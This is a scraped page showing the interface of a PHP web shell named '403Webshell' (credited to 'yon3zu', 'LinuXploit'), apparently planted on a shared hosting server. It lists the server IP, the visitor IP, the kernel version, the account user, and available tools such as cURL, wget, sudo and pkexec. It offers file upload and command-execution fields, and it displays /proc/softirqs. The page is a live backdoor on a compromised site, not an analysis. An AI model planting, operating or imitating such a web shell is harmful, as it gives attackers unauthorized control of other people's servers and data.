403Webshell
Server IP : 162.241.203.86  /  Your IP : 216.73.217.43
Web Server : Apache
System : Linux br1002.hostgator.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : theart99 ( 5843)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         21         22         32         28         42         33         22         30         31         21         24         28         36         21         34         27         33         21         33         22         29         22         22         30          0          0          0          0          0          0          0          0
       TIMER:  114420319   84969805   95330896   82477199  160798516   84075958   87182284   71191975   97390178   68225060   93514430   83973831   82734798   90481783   86442985   71677411  143660205   72545409   94571782   63416718   79040356   83429409   70333016   64332024          0          0          0          0          0          0          0          0
      NET_TX:        152        105        171         78        154        106        118        102        143         92        154        123        151        113        110        126        123         80        124         73        127         90        134         95          0          0          0          0          0          0          0          0
      NET_RX:  192154817  121578163   92128805  411990988 1274050187   51286685  217105164  384872205 1349407501  113430968  488917524  261306917   77409777 1193643360  483735538  687074501 1284650230   70975018  872843393   74730376   90707011  982413223  109955026  637200400          0          0          0          0          0          0          0          0
       BLOCK:         38          0          0          0          7          0          0          0          0          3          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    7287914    2846426    2301052   13535371    1866582     496423    9958845   18741006   86269452    3166886   26941672   14639871    1303647   70501497   24605896   42103914    9914760    2658022   40530234    2731283    3965079   34681740    4482576   30968144          0          0          0          0          0          0          0          0
       SCHED: 1030304333 1006810771  677143057  653746845  625738435  548857149  561713142  500426227  555836352  469302845  537077736  455441846  525848746  474526335  528689689  451537936  565783238  449567115  519769989  433017241  497397210  473272945  491080030  438552093          0          0          0          0          0          0          0          0
     HRTIMER:       1517       7801       1687      17321     244131        409       3767      10729      92920       2428      22338       6459       2269      90642      25841      12007     224963       2639      30449       1199       7178     113210       2267      67068          0          0          0          0          0          0          0          0
         RCU: 2661298112 2324834813 2689320895 2321601303 2619865698 2295878353 2681952308 2309535240 2674806363 2296982002 2666291063 2302041244 2677447146 2273360698 2648599556 2286056636 2170174162 1901517487 2116555816 1872235576 2108870093 1866943003 2084482762 1867923835          0          0          0          0          0          0          0          0

Youez - 2016 - github.com/yon3zu
LinuXploit